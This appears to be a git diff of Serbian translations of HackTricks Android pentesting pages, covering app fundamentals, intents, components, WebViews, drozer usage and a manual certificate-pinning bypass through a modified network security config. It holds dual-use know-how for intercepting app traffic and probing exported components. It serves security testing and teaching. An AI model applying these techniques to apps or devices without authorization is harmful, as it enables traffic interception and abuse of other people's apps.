APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore** i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
|
||||
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Pročitajte ovaj tutorijal da biste naučili neke trikove o **kako da reverzujete prilagođenu obfuskaciju**](manual-deobfuscation.md)
|
||||
[Pročitajte ovaj tutorijal da naučite neke trikove o **kako da reverzujete prilagođenu obfuskaciju**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i labova od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih okvira, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -25,19 +25,19 @@ Od Android 5.0(L) **SELinux** se primenjuje. U suštini, SELinux je odbio sve in
|
||||
|
||||
### Dozvole
|
||||
|
||||
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** datoteci. **uses-permission** element označava naziv tražene dozvole unutar **name** **atributa.** Takođe ima **maxSdkVersion** atribut koji prestaje da traži dozvole na verzijama višim od one koja je specificirana.\
|
||||
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** datoteci. **uses-permission** element označava naziv tražene dozvole unutar **name** **atributa.** Takođe ima **maxSdkVersion** atribut koji prestaje da traži dozvole na verzijama višim od one koja je navedena.\
|
||||
Napomena da android aplikacije ne moraju tražiti sve dozvole na početku, mogu takođe **tražiti dozvole dinamički**, ali sve dozvole moraju biti **deklarisane** u **manifestu.**
|
||||
|
||||
Kada aplikacija izlaže funkcionalnost, može ograničiti **pristup samo aplikacijama koje imaju određenu dozvolu**.\
|
||||
Element dozvole ima tri atributa:
|
||||
|
||||
- **naziv** dozvole
|
||||
- **ime** dozvole
|
||||
- **permission-group** atribut, koji omogućava grupisanje povezanih dozvola.
|
||||
- **protection-level** koji označava kako se dozvole dodeljuju. Postoje četiri vrste:
|
||||
- **Normal**: Koristi se kada nema **poznatih pretnji** za aplikaciju. Korisnik **nije obavezan da je odobri**.
|
||||
- **Dangerous**: Označava da dozvola dodeljuje tražećoj aplikaciji neku **povišenu pristupnost**. **Korisnici se traže da ih odobre**.
|
||||
- **Dangerous**: Ukazuje da dozvola dodeljuje traženoj aplikaciji neki **povišeni pristup**. **Korisnici se traže da ih odobre**.
|
||||
- **Signature**: Samo **aplikacije potpisane istim sertifikatom kao onaj** koji izlaže komponentu mogu dobiti dozvolu. Ovo je najjači tip zaštite.
|
||||
- **SignatureOrSystem**: Samo **aplikacije potpisane istim sertifikatom kao onaj** koji izlaže komponentu ili **aplikacije koje rade sa sistemskim pristupom** mogu dobiti dozvole.
|
||||
- **SignatureOrSystem**: Samo **aplikacije potpisane istim sertifikatom kao onaj** koji izlaže komponentu ili **aplikacije koje rade sa pristupom na sistemskom nivou** mogu dobiti dozvole.
|
||||
|
||||
## Preinstalirane Aplikacije
|
||||
|
||||
@ -50,7 +50,7 @@ Ove aplikacije se obično nalaze u **`/system/app`** ili **`/system/priv-app`**
|
||||
## Rootovanje
|
||||
|
||||
Da biste dobili root pristup na fizičkom android uređaju, obično morate **iskoristiti** 1 ili 2 **ranjivosti** koje su obično **specifične** za **uređaj** i **verziju**.\
|
||||
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju specificiranu u korisničkoj PATH env varijabli kao što je `/system/xbin`.
|
||||
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju koja je navedena u korisničkoj PATH env varijabli kao što je `/system/xbin`.
|
||||
|
||||
Kada je su binarni fajl konfiguran, koristi se druga Android aplikacija za interakciju sa `su` binarnim fajlom i **obrađivanje zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupni u Google Play prodavnici).
|
||||
|
||||
@ -68,9 +68,9 @@ Napomena da **nije uvek potrebno rootovati uređaj** da bi se instalirao prilago
|
||||
|
||||
Kada je uređaj rootovan, svaka aplikacija može zatražiti pristup kao root. Ako zlonamerna aplikacija dobije taj pristup, moći će da pristupi gotovo svemu i moći će da ošteti telefon.
|
||||
|
||||
## Osnovni principi Android aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Osnovni principi Android Aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Format Android aplikacija se naziva _APK format datoteke_. To je u suštini **ZIP datoteka** (preimenovanjem ekstenzije datoteke u .zip, sadržaj se može izdvojiti i pregledati).
|
||||
- Format Android aplikacija se naziva _APK format datoteke_. To je u suštini **ZIP datoteka** (preimenovanjem ekstenzije datoteke u .zip, sadržaj se može ekstrahovati i pregledati).
|
||||
- Sadržaj APK-a (nije iscrpan)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
@ -114,11 +114,11 @@ Ako su ranjivi, **Intenti se mogu koristiti za izvođenje raznih napada**.
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intent-a**. U suštini, oni opisuju mogućnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili koje vrste emitovanja mogu obraditi. Primarno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je za Broadcast Receivere kodiranje takođe opcija.
|
||||
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intenta**. U suštini, oni opisuju mogućnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili koje vrste emitovanja mogu obraditi. Primarno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je za Broadcast Receivere kodiranje takođe opcija.
|
||||
|
||||
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrađuju specifične Intente koji se poklapaju sa deklarisanim kriterijumima.
|
||||
|
||||
Kritičan aspekt Android komponenti (aktivnosti/usluge/provideri sadržaja/broadcast receiveri) je njihova vidljivost ili **javnost**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je Intent Filter deklarisan za nju u manifestu. Međutim, postoji način za programere da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. Ovo se postiže postavljanjem **`exported`** atributa na **`false`** u njihovim manifest definicijama.
|
||||
Kritičan aspekt Android komponenti (aktivnosti/usluge/content provideri/broadcast receiveri) je njihova vidljivost ili **javnost**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je Intent Filter deklarisan za nju u manifestu. Međutim, postoji način za programere da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. Ovo se postiže postavljanjem **`exported`** atributa na **`false`** u njihovim manifest definicijama.
|
||||
|
||||
Pored toga, programeri imaju opciju da dodatno osiguraju pristup ovim komponentama zahtevajući specifične dozvole. **`permission`** atribut može biti postavljen da osigura da samo aplikacije sa dodeljenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može da interaguje sa njom.
|
||||
```java
|
||||
@ -145,7 +145,7 @@ Ova namera treba da bude deklarisana unutar manifest-a kao u sledećem primeru:
|
||||
```
|
||||
An intent-filter treba da odgovara **akciji**, **podacima** i **kategoriji** da bi primio poruku.
|
||||
|
||||
Proces "rezolucije intencija" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji može biti postavljen u **deklaraciji intent-filter-a**, i **onaj sa višim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti `SYSTEM_HIGH_PRIORITY` vrednost. Ako dođe do **konflikta**, pojavljuje se "chooser" prozor kako bi **korisnik mogao da odluči**.
|
||||
Proces "rezolucije intencija" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji može biti postavljen u **deklaraciji intent-filter-a**, i **ona sa višim prioritetom će biti odabrana**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti `SYSTEM_HIGH_PRIORITY` vrednost. Ako dođe do **konflikta**, pojavljuje se "chooser" prozor kako bi **korisnik mogao da odluči**.
|
||||
|
||||
### Eksplicitne Intencije
|
||||
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Oni omogućavaju drugim aplikacijama da **preduzimaju akcije u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Prilikom konstruisanja Pending Intent-a, treba **navesti intent i akciju koja se izvršava**. Ako **deklarisani intent nije Eksplicitan** (ne navodi koji intent može da ga pozove), **maliciozna aplikacija bi mogla da izvrši deklarisanu akciju** u ime žrtvinske aplikacije. Štaviše, **ako akcija nije navedena**, maliciozna aplikacija će moći da izvrši **bilo koju akciju u ime žrtve**.
|
||||
Oni omogućavaju drugim aplikacijama da **preuzmu akcije u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Prilikom konstruisanja Pending Intent-a, treba **navesti intent i akciju koja se izvršava**. Ako **deklarisani intent nije Eksplicitan** (ne navodi koji intent može da ga pozove), **maliciozna aplikacija bi mogla da izvrši deklarisanu akciju** u ime žrtvinske aplikacije. Štaviše, **ako akcija nije navedena**, maliciozna aplikacija će moći da izvrši **bilo koju akciju u ime žrtve**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -169,7 +169,7 @@ Za razliku od prethodnih intent-a, koji se primaju samo od jedne aplikacije, bro
|
||||
|
||||
Alternativno, takođe je moguće **navesti dozvolu prilikom slanja broadcast-a**. Aplikacija primaoc će morati da ima tu dozvolu.
|
||||
|
||||
Postoje **dva tipa** Broadcast-a: **Normalni** (asinkroni) i **Ordenirani** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, preneti ili odbaciti Broadcast.**
|
||||
Postoje **dva tipa** Broadcast-a: **Normalni** (asinkroni) i **Poručeni** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, preneti ili odbaciti Broadcast.**
|
||||
|
||||
Moguće je **poslati** **broadcast** koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
|
||||
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koja osigurava da **poruka nikada ne napusti aplikaciju**. Koristeći ovo, nećete ni morati da izvozite komponentu primaoca.
|
||||
@ -177,7 +177,7 @@ Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManag
|
||||
### Sticky Broadcasts
|
||||
|
||||
Ova vrsta Broadcast-a **može se pristupiti dugo nakon što su poslati**.\
|
||||
Oni su deprecated u API nivou 21 i preporučuje se da **ih ne koristite**.\
|
||||
Oni su obeleženi kao zastareli u API nivou 21 i preporučuje se da **ih ne koristite**.\
|
||||
**Oni omogućavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih modifikuje.**
|
||||
|
||||
Ako pronađete funkcije koje sadrže reč "sticky" kao što su **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
|
||||
@ -217,7 +217,7 @@ Saznajte kako da [pozovete deep linkove bez korišćenja HTML stranica](#exploit
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** je dizajniran za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **interprocess communication** (IPC). Pošto direktan pristup memoriji drugog procesa nije dozvoljen na Androidu, AIDL pojednostavljuje proces maršalizovanjem objekata u format koji operativni sistem razume, čime se olakšava komunikacija između različitih procesa.
|
||||
**Android Interface Definition Language (AIDL)** je dizajniran za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **interprocess communication** (IPC). Pošto direktan pristup memoriji drugog procesa nije dozvoljen na Androidu, AIDL pojednostavljuje proces maršalizovanjem objekata u format koji operativni sistem razume, čime olakšava komunikaciju između različitih procesa.
|
||||
|
||||
### Ključni koncepti
|
||||
|
||||
@ -236,7 +236,7 @@ Ove uključuju: **Aktivnosti, Servise, Broadcast Receivere i Provajdere.**
|
||||
U Android aplikacijama, **aktivnosti** su poput ekrana, prikazujući različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, od kojih svaka predstavlja jedinstveni ekran za korisnika.
|
||||
|
||||
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER intencijama:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
@ -244,7 +244,7 @@ U Android aplikacijama, **aktivnosti** su poput ekrana, prikazujući različite
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Не све апликације требају ланчер активност, посебно оне без корисничког интерфејса, као што су позадинске услуге.
|
||||
Не све апликације требају активност покретача, посебно оне без корисничког интерфејса, као што су позадинске услуге.
|
||||
|
||||
Активности могу бити доступне другим апликацијама или процесима означавањем као "извозне" у манифесту. Ова подешавања омогућавају другим апликацијама да покрену ову активност:
|
||||
```markdown
|
||||
@ -276,19 +276,19 @@ super.onCreate();
|
||||
|
||||
[Usluge](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni za izvršavanje zadataka bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na različite aplikacije, što usluge čini ključnim za **dugotrajne operacije**.
|
||||
|
||||
Usluge su svestrane; mogu se pokrenuti na različite načine, pri čemu su **Intents** primarna metoda za njihovo pokretanje kao ulaznu tačku aplikacije. Kada se usluga pokrene koristeći metodu `startService`, njena metoda `onStart` se aktivira i nastavlja da radi dok se metoda `stopService` eksplicitno ne pozove. Alternativno, ako je uloga usluge zavisna od aktivne klijentske veze, koristi se metoda `bindService` za povezivanje klijenta sa uslugom, angažujući metodu `onBind` za prenos podataka.
|
||||
Usluge su svestrane; mogu se pokrenuti na različite načine, pri čemu su **Intents** primarna metoda za njihovo pokretanje kao ulaznu tačku aplikacije. Kada se usluga pokrene koristeći metodu `startService`, njena metoda `onStart` se aktivira i nastavlja da radi dok se ne pozove metoda `stopService`. Alternativno, ako je uloga usluge zavisna od aktivne klijentske veze, koristi se metoda `bindService` za povezivanje klijenta sa uslugom, angažujući metodu `onBind` za prenos podataka.
|
||||
|
||||
Zanimljiva primena usluga uključuje reprodukciju muzike u pozadini ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Štaviše, usluge se mogu učiniti dostupnim drugim procesima na istom uređaju putem **izvoza**. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest datoteci:
|
||||
Zanimljiva primena usluga uključuje reprodukciju muzike u pozadini ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Pored toga, usluge se mogu učiniti dostupnim drugim procesima na istom uređaju putem **izvoza**. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest datoteci:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** deluju kao slušatelji u sistemu poruka, omogućavajući više aplikacija da reaguju na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: kroz aplikacioni **Manifest** ili **dinamički** unutar koda aplikacije putem **`registerReceiver`** API-ja. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
|
||||
**Broadcast receivers** deluju kao slušatelji u sistemu poruka, omogućavajući više aplikacija da reaguju na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: kroz **Manifest** aplikacije ili **dinamički** unutar koda aplikacije putem **`registerReceiver`** API-ja. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
|
||||
|
||||
**Intent filteri** su ključni u obe metode registracije, određujući koja emitovanja aktiviraju prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se **`onReceive`** metoda prijemnika, omogućavajući aplikaciji da reaguje u skladu sa tim, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskoj bateriji.
|
||||
|
||||
Emitovanja mogu biti **asinhrona**, dostižući sve prijemnike bez reda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni bezbednosni rizik, jer svaka aplikacija može dati prioritet sebi da presretne emitovanje.
|
||||
Emitovanja mogu biti **asinkrona**, dostižući sve prijemnike bez reda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni bezbednosni rizik, jer svaka aplikacija može dati prioritet sebi da presretne emitovanje.
|
||||
|
||||
Da biste razumeli funkcionalnost prijemnika, potražite **`onReceive`** metodu unutar njegove klase. Kod ove metode može manipulisati primljenim Intent-om, naglašavajući potrebu za validacijom podataka od strane prijemnika, posebno u **Ordered Broadcasts**, koji mogu modifikovati ili odbaciti Intent.
|
||||
|
||||
@ -296,9 +296,9 @@ Da biste razumeli funkcionalnost prijemnika, potražite **`onReceive`** metodu u
|
||||
|
||||
**Content Providers** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementacije **dozvola** za obezbeđivanje bezbednosti podataka. Oni omogućavaju aplikacijama da pristupaju podacima iz različitih izvora, uključujući baze podataka, datotečne sisteme ili web. Specifične dozvole, kao što su **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Pored toga, privremeni pristup može biti odobren putem **`grantUriPermission`** podešavanja u manifestu aplikacije, koristeći atribute kao što su `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
|
||||
|
||||
Validacija unosa je od suštinskog značaja za sprečavanje ranjivosti, kao što je SQL injekcija. Content Providers podržavaju osnovne operacije: `insert()`, `update()`, `delete()`, i `query()`, olakšavajući manipulaciju i deljenje podataka među aplikacijama.
|
||||
Validacija ulaza je od suštinskog značaja za sprečavanje ranjivosti, kao što je SQL injekcija. Content Providers podržavaju osnovne operacije: `insert()`, `update()`, `delete()`, i `query()`, olakšavajući manipulaciju i deljenje podataka među aplikacijama.
|
||||
|
||||
**FileProvider**, specijalizovani Content Provider, fokusira se na sigurno deljenje datoteka. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa folderima, označenim sa `android:exported` i `android:resource` koji ukazuju na konfiguracije foldera. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo nenamerno izlaganje osetljivih podataka.
|
||||
**FileProvider**, specijalizovani Content Provider, fokusira se na sigurno deljenje datoteka. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa folderima, označenim sa `android:exported` i `android:resource` koji upućuju na konfiguracije foldera. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo nenamerno izlaganje osetljivih podataka.
|
||||
|
||||
Primer deklaracije manifesta za FileProvider:
|
||||
```xml
|
||||
@ -316,45 +316,45 @@ I primer specificiranja deljenih foldera u `filepaths.xml`:
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Za dodatne informacije proverite:
|
||||
For further information check:
|
||||
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji preuzimaju sadržaj ili sa interneta ili iz lokalnih fajlova. Suočavaju se sa sličnim rizicima kao i obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifične **postavke**.
|
||||
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji povlače sadržaj ili sa interneta ili iz lokalnih datoteka. Suočen su sa sličnim rizicima kao obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifične **postavke**.
|
||||
|
||||
Android nudi dve glavne vrste WebView:
|
||||
Android nudi dva glavna tipa WebView:
|
||||
|
||||
- **WebViewClient** je odličan za osnovni HTML, ali ne podržava JavaScript alert funkciju, što utiče na to kako se XSS napadi mogu testirati.
|
||||
- **WebChromeClient** deluje više kao potpuno iskustvo Chrome pregledača.
|
||||
|
||||
Ključna tačka je da WebView pregledači **ne dele kolačiće** sa glavnim pregledačem uređaja.
|
||||
|
||||
Za učitavanje sadržaja dostupne su metode kao što su `loadUrl`, `loadData` i `loadDataWithBaseURL`. Ključno je osigurati da su ovi URL-ovi ili fajlovi **bezbedni za korišćenje**. Bezbednosne postavke mogu se upravljati putem `WebSettings` klase. Na primer, onemogućavanje JavaScripta sa `setJavaScriptEnabled(false)` može sprečiti XSS napade.
|
||||
Za učitavanje sadržaja, dostupne su metode kao što su `loadUrl`, `loadData`, i `loadDataWithBaseURL`. Ključno je osigurati da su ovi URL-ovi ili datoteke **sigurni za korišćenje**. Bezbednosne postavke mogu se upravljati putem `WebSettings` klase. Na primer, onemogućavanje JavaScripta sa `setJavaScriptEnabled(false)` može sprečiti XSS napade.
|
||||
|
||||
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da metode budu označene sa `@JavascriptInterface` radi bezbednosti od Android 4.2 pa nadalje.
|
||||
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da metode budu označene sa `@JavascriptInterface` radi bezbednosti od Android 4.2 nadalje.
|
||||
|
||||
Dozvoljavanje pristupa sadržaju (`setAllowContentAccess(true)`) omogućava WebView-ima pristup Content Providers, što može predstavljati rizik osim ako su URL-ovi sadržaja verifikovani kao bezbedni.
|
||||
Dozvoljavanje pristupa sadržaju (`setAllowContentAccess(true)`) omogućava WebView-ima pristup Content Providers, što može predstavljati rizik osim ako su URL-ovi sadržaja verifikovani kao sigurni.
|
||||
|
||||
Da biste kontrolisali pristup fajlovima:
|
||||
Da biste kontrolisali pristup datotekama:
|
||||
|
||||
- Onemogućavanje pristupa fajlovima (`setAllowFileAccess(false)`) ograničava pristup fajl sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za neosetljiv sadržaj.
|
||||
- Onemogućavanje pristupa datotekama (`setAllowFileAccess(false)`) ograničava pristup datotečnom sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za nesenzitivni sadržaj.
|
||||
|
||||
## Ostale komponente aplikacije i upravljanje mobilnim uređajima
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digitalno potpisivanje aplikacija**
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digitalno potpisivanje** je obavezno za Android aplikacije, osiguravajući da su **autentično napisane** pre instalacije. Ovaj proces koristi sertifikat za identifikaciju aplikacije i mora biti verifikovan od strane menadžera paketa uređaja prilikom instalacije. Aplikacije mogu biti **samo-potpisane ili sertifikovane od strane eksternog CA**, štiteći od neovlašćenog pristupa i osiguravajući da aplikacija ostane neizmenjena tokom isporuke na uređaj.
|
||||
|
||||
### **Verifikacija aplikacija za poboljšanu bezbednost**
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- Počevši od **Android 4.2**, funkcija pod nazivom **Verify Apps** omogućava korisnicima da provere aplikacije na bezbednost pre instalacije. Ovaj **proces verifikacije** može upozoriti korisnike na potencijalno štetne aplikacije, ili čak sprečiti instalaciju posebno zlonamernih, poboljšavajući bezbednost korisnika.
|
||||
|
||||
### **Upravljanje mobilnim uređajima (MDM)**
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**. Oni zahtevaju instalaciju Android aplikacije za efikasno upravljanje i obezbeđivanje mobilnih uređaja. Ključne funkcije uključuju **sprovodjenje politika lozinki**, **obavezno šifrovanje skladišta**, i **dozvoljavanje daljinskog brisanja podataka**, osiguravajući sveobuhvatan nadzor i bezbednost mobilnih uređaja.
|
||||
- **MDM rešenja** pružaju **nadzor i bezbednost** za mobilne uređaje putem **Device Administration API**. Oni zahtevaju instalaciju Android aplikacije za efikasno upravljanje i obezbeđivanje mobilnih uređaja. Ključne funkcije uključuju **sprovodjenje politika lozinki**, **obavezno šifrovanje skladišta**, i **dozvoljavanje daljinskog brisanja podataka**, osiguravajući sveobuhvatan nadzor i bezbednost nad mobilnim uređajima.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## APKs to test
|
||||
|
||||
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (iz mrwlabs)
|
||||
@ -42,7 +40,7 @@ drozer console connect
|
||||
| **Commands** | **Description** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Prikazuje pomoć za odabrani modul |
|
||||
| **list** | Prikazuje listu svih drozer modula koji se mogu izvršiti u trenutnoj sesiji. Ovo skriva module za koje nemate odgovarajuće dozvole za pokretanje. |
|
||||
| **list** | Prikazuje listu svih drozer modula koji se mogu izvršiti u trenutnoj sesiji. Ovo skriva module za koje nemate odgovarajuće dozvole za pokretanje. |
|
||||
| **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agenta. |
|
||||
| **clean** | Uklanja privremene datoteke koje drozer čuva na Android uređaju. |
|
||||
| **load** | Učitava datoteku koja sadrži drozer komande i izvršava ih redom. |
|
||||
@ -102,8 +100,8 @@ is debuggable
|
||||
|
||||
### Aktivnosti
|
||||
|
||||
Vrednost “android:exported” komponentne aktivnosti koja je eksportovana postavljena je na **“true”** u datoteci AndroidManifest.xml:
|
||||
```markup
|
||||
Vrednost “android:exported” za komponentu aktivnosti koja je eksportovana postavljena je na **“true”** u datoteci AndroidManifest.xml:
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
@ -135,7 +133,7 @@ Ova objava je bila prevelika da bi bila ovde, tako da **možete** [**pristupiti
|
||||
### Services
|
||||
|
||||
Izvezeni servis je deklarisan unutar Manifest.xml:
|
||||
```markup
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
Unutar koda **proverite** funkciju **`handleMessage`** koja će **prihvatiti** **poruku**:
|
||||
|
@ -1,10 +1,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Neke aplikacije ne prihvataju sertifikate koje je preuzeo korisnik, tako da da bismo pregledali web saobraćaj za neke aplikacije, zapravo moramo dekompilirati aplikaciju, dodati nekoliko stvari i ponovo je kompajlirati.
|
||||
Neke aplikacije ne vole sertifikate koje preuzima korisnik, tako da da bismo inspekciju web saobraćaja za neke aplikacije, zapravo moramo dekompilirati aplikaciju, dodati nekoliko stvari i ponovo je kompajlirati.
|
||||
|
||||
# Automatski
|
||||
|
||||
Alat [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) će **automatski** napraviti potrebne izmene u aplikaciji kako bi počeo da hvata zahteve i takođe će onemogućiti pinovanje sertifikata (ako postoji).
|
||||
Alat [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) će **automatski** napraviti potrebne izmene u aplikaciji kako bi počeo da hvata zahteve i takođe će onemogućiti pinovanje sertifikata (ako ga ima).
|
||||
|
||||
# Ručno
|
||||
|
||||
@ -25,7 +25,7 @@ Posle dodavanja:
|
||||

|
||||
|
||||
Sada idite u **res/xml** folder i kreirajte/modifikujte datoteku pod imenom network_security_config.xml sa sledećim sadržajem:
|
||||
```markup
|
||||
```html
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
@ -41,6 +41,6 @@ Zatim sačuvajte datoteku i izađite iz svih direktorijuma, a zatim ponovo izgra
|
||||
|
||||

|
||||
|
||||
Na kraju, samo treba da **potpišete novu aplikaciju**. [Pročitajte ovaj deo stranice Smali - Decompiling/\[Modifying\]/Compiling da biste saznali kako da je potpišete](smali-changes.md#sing-the-new-apk).
|
||||
Na kraju, potrebno je samo da **potpišete novu aplikaciju**. [Pročitajte ovaj deo stranice Smali - Decompiling/\[Modifying\]/Compiling da biste saznali kako da je potpišete](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
